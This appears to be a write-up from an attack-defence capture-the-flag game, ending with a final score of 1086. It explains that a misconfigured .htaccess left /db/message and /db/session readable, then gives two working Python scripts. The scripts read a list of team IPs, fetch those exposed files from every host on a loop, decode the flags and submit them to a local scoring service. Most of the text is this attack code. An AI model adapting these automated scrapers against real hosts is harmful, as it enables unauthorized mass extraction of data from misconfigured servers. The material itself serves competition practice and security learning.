Begin
The use of .htacces was not correctly configured and so one was able to access the files /db/message , /db/session and /db/? ,/db/message has a flag which is base64 encoded and can be easily decoded
#!/usr/bin/env python
# -*- coding: latin-1 -*-
import base64
import socket
import time
import urllib
from thread import start_new_thread
def johannessub(flag):
hostname = "192.168.*.*"
port = 1337
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((hostname, port))
s.sendall(flag + "\n")
s.shutdown(socket.SHUT_WR)
s.close()
def extraktflag(ip):
submittedflags = []
try:
fweb = urllib.urlopen("http://" + ip[:-1] + "/db/message").read()
except:
return
for i in fweb.split("\n"):
index_begin = i.find("!!44!")
if index_begin != -1:
index_begin += len("!!44!")
flag = i[index_begin : index_begin + 44]
flag = base64.b64decode(flag)
breaker = False
for j in submittedflags:
if j == flag:
breaker = True
break
if breaker:
continue
johannessub(flag)
while True:
f = open("group_ips.txt", "r")
while True:
line = f.readline()
if line == "\n":
continue
if not line:
break
start_new_thread(extraktflag, (line,))
time.sleep(60)
and submitted to the local flag submit service.
Nearly the same can be done for the sessions with the following script
#!/usr/bin/env python
# -*- coding: latin-1 -*-
import socket
import time
import urllib
from thread import start_new_thread
def johannessub(flag):
hostname = "192.168.*.*"
port = 1337
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((hostname, port))
s.sendall(flag + "\n")
s.shutdown(socket.SHUT_WR)
s.close()
def extraktflag(ip):
submittedflags = []
try:
fweb = urllib.urlopen("http://" + ip[:-1] + "/db/session").read()
except:
return
for i in fweb.split("\n"):
if i[29:31] == "32":
flag = i[32:64]
breaker = False
for j in submittedflags:
if j == flag:
breaker = True
break
if breaker:
continue
johannessub(flag)
while True:
f = open("group_ips.txt", "r")
while True:
line = f.readline()
if line == "\n":
continue
if not line:
break
start_new_thread(extraktflag, (line,))
time.sleep(60)
Final Score: 1086